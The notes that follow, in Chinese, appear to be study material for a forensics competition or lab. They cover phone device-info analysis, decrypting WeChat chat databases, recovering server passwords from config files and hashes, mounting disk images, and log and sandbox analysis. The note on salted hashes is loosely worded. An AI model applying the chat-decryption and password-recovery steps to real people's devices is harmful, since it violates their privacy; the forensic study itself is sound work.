md5、sha1、sha256、sha512:分别是证书内容的 MD5、SHA-1、SHA-256、SHA-512 哈希值,用于校验证书是否被篡改。 -
证书数量
Found 1 unique certificates:找到1 个唯一证书,即该 APK 仅用这一份证书签名。
权限信息
APPLICATION PERMISSIONS
设备信息取证
deviceinfo.json(设备基本信息)
\PhoneData\ deviceinfo.json
| 信息类别 | 具体内容 |
|---|---|
| 基础设备信息 | - 名称:2711571803 的 Xiaomi 12 Pro- 厂商 / 品牌:Xiaomi- 型号:2201122C- 主板型号:taro- 设备标识:zeus |
| 系统配置信息 | - 操作系统:Android- 操作系统版本:12- BuildId:SKQ1.211006.001- CPU 型号:qcom- CPU 指令集:arm64-v8a, armeabi-v7a, armeabi |
| 设备标识与网络 | - AndroidId:bb88229197149bf8- 序列号:unknown- 设备 ID:空- 最后一次 IP 地址:192.168.8.153- 蓝牙 MAC 地址:空 |
| 存储状态 | - 总空间:111070392320(约 103.4GB)- 剩余空间:68121858048(约 63.4GB)- 已用空间:42948534272(约 40GB) |
| 通信与时间信息 | - 电话号码 1:+8613023161693- IMEI1/IMEI2/Meid:均为空- 开机时间:2024-11-01T07:23:22.783Z(UTC 时区) |
| 其他信息 | - 剪贴板:空 |
社交软件取证
微信聊天记录取证
-
打开Forensics Tool工具
-
导入微信相关的数据库解密即可(你或许可以在
sdcard\MIUI\backup\AllBackup中找到微信的备份文件),你也可以选择在X-ways直接搜索微信的包名(com.tencent.com,EnMicroMsg)或者数据库名称(),找到对应备份文件即可 -
找
auth_info_key_prefs.xml中的auth_uin

-
获取到密钥

-
导入数据库解密

-
发现是SQLite数据库

-
使用DBeaver


-
导出为GBK编码格式,因为excel打开默认是GBK格式。
服务器取证(linux取证)
数据库命令
root@gass-virtual-machine:/home/gass/Desktop# mysql -u root -p 123568
Enter password:
mysql> SELECT VERSION();
系统基本信息对应文件位置
Ubuntu
| Ubuntu 22.04.5 | |
|---|---|
| 内核版本:/usr/lib/modules/ | |
| 网络信息:/etc/NetworkManager/system-connections | |
服务器运行项目
启动服务器项目的一些方法
-
spring Boot项目可能打包成jar包,我们需要使用jadx反编译查看
BOOT-INF/classes/application.properties配置文件,在里面搜索password即可。application.properties:Spring Boot 的默认主配置文件
服务器后台登陆思路
- 当拿到服务器数据库,可以查询数据库帐户的密码,然后解密hash,再逆向服务查看密码加密逻辑,如果加盐需要减去盐值。
端口服务
netstat -tulpn #一次性列出所有正在监听的 TCP/UDP 端口
需要找到对应的项目文件,然后在其配置文件中寻找
nginx配置
nginx位置一般位于:/etc/nginx/nginx.conf
listen:指定 Nginx 监听的端口(如listen 8801;),是网站对外提供服务的 “入口端口”,决定用户通过哪个端口访问(如http://ip:8801)。server_name:绑定的域名或 IP(如server_name www.example.com;或server_name 192.168.1.100;),用于区分不同网站(虚拟主机),匹配用户请求的域名 / IP。- 服务和指定端口对应信息。
挂载镜像
使用qemu-nbd
sudo modprobe nbd max_part=8 # 允许NBD设备识别分区
sudo qemu-nbd --connect=/dev/nbd0 evidence.vmdk #关联 VMDK 到 NBD 设备
#若成功,VMDK 的分区会被识别为/dev/nbd0p1、/dev/nbd0p2等(可通过lsblk /dev/nbd0查看)。
sudo mkdir -p /mnt/vmdk # 创建挂载点
sudo mount -o ro /dev/nbd0p1 /mnt/vmdk # 挂载第一个分区(假设为ext4格式,取证需加ro只读参数)
挂载之后,就可以通过/mnt/vmdk直接访问
LVM挂载
sudo pvscan # 查看物理卷(确认nbd0p2是否为LVM物理卷)
sudo vgscan # 查看卷组(获取卷组名称,如centos、ubuntu-vg等)
sudo lvscan # 查看逻辑卷(获取实际可挂载的逻辑卷路径)
sudo vgchange -a y # 激活所有卷组(简单直接)
sudo vgchange -a y centos # 或指定卷组激活(如卷组名为centos)
sudo mkdir -p /mnt/vmdk_lvm # 创建挂载点
sudo mount -o ro /dev/centos/root /mnt/vmdk_lvm # 挂载逻辑卷(替换为实际逻辑卷路径,从lvscan获取)
取消挂载
sudo umount 挂载点或设备路径
日志分析
系统日志
/var/log/syslog
- 记录启动的程序:可以排除木马
nginx
服务器nginx日志中,哪个ip访问系统最为频繁?
gass@gass-virtual-machine:/home/project/cloud$ cat /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -nr | head -n 1
141 56.111.197.176
gass@gass-virtual-machine:/home/project/cloud$
查看启动项
etc/rc.local : 是 Linux 系统中一个用于配置开机自启动任务的传统脚本文件
cat /mnt/vmdk/etc/rc.local #查看
计划任务
crontab -l
shc加密
./unshc-v0.8.sh backup.sh.x
行为信息取证
奇安信沙箱

-
威胁情报
恶意类型:挖矿病毒、特洛伊木马等 -
行为类型
执行恶意命令 -
静态信息
基本信息:文件类型、哈希
文件元数据:产品数据、产品公司、语言
Exiftool文件元数据:程序书写语言
PE信息
PE导入表:使用的DLL文件 -
主机行为
进程启动、网络访问、释放文件、行为异常图

进程信息:进程执行命令
-
网络行为
DNS:DNS解析
会话信息:协议、IP、端口
HTTP信息 -
释放文件

浙公网安备 33010602011771号